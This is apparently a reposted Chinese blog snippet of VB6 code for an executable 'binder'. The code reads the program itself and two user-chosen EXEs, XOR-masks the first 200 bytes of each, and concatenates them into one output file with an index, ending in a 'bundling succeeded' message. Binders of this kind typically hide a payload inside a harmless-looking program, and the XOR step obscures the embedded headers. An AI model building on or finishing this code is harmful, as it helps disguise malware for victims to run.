vb读出二进制文件,合并两个文件


========================================= 
Dim FileMe() As Byte, File1() As Byte, File2() As Byte 
Dim Ii As Integer, Ss As String 
'读入程序自身 
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #11 
 ReDim FileMe(FileLen(App.Path & "\" & App.EXEName & ".exe") - 1) 
 Get #11, , FileMe 
Close #11 
'读入第一个可执行文件 
Open Text1(1).Text For Binary As #1 
 ReDim File1(FileLen(Text1(1).Text) - 1) 
 Get #1, , File1 
'============================================== 
'下面的这个循环我不知道干嘛的,望解~ 
 For Ii = 1 To 200 
 Ss = File1(Ii - 1) Xor 99 
 File1(Ii - 1) = Ss 
 Next 
'============================================== 
Close #1 
'读入第二个可执行文件 
Open Text1(2).Text For Binary As #2 
 ReDim File2(FileLen(Text1(2).Text) - 1) 
 Get #2, , File2 
'=====================同上===================== 
 For Ii = 1 To 200 
 Ss = File2(Ii - 1) Xor 99 
 File2(Ii - 1) = Ss 
 Next 
'============================================== 
Close #2 
'将程序自身+第一个exe+第二个exe合并到新文件 
Open Text2.Text For Binary As #3 
 Put #3, , FileMe 
 Put #3, , File1 
 Put #3, , File2 
 Put #3, , PSW & StrMC 
 Put #3, , App.EXEName & "|||" & FileLen(App.Path & "\" & App.EXEName & ".exe") & "" & _ 
 Mid(Text1(1).Text, InStrRev(Text1(1).Text, "\") + 1) & "|||" & FileLen(Text1(1).Text) & "" & _ 
 Mid(Text1(2).Text, InStrRev(Text1(2).Text, "\") + 1) & "|||" & FileLen(Text1(2).Text) & "" 
Close #3 
MsgBox "捆绑成功: " & Text2.Text, vbInformation 
===================================================== 
此篇本人也忘了从哪里贴的,一只也没有看,先扔这边了。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

于大大大洋

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值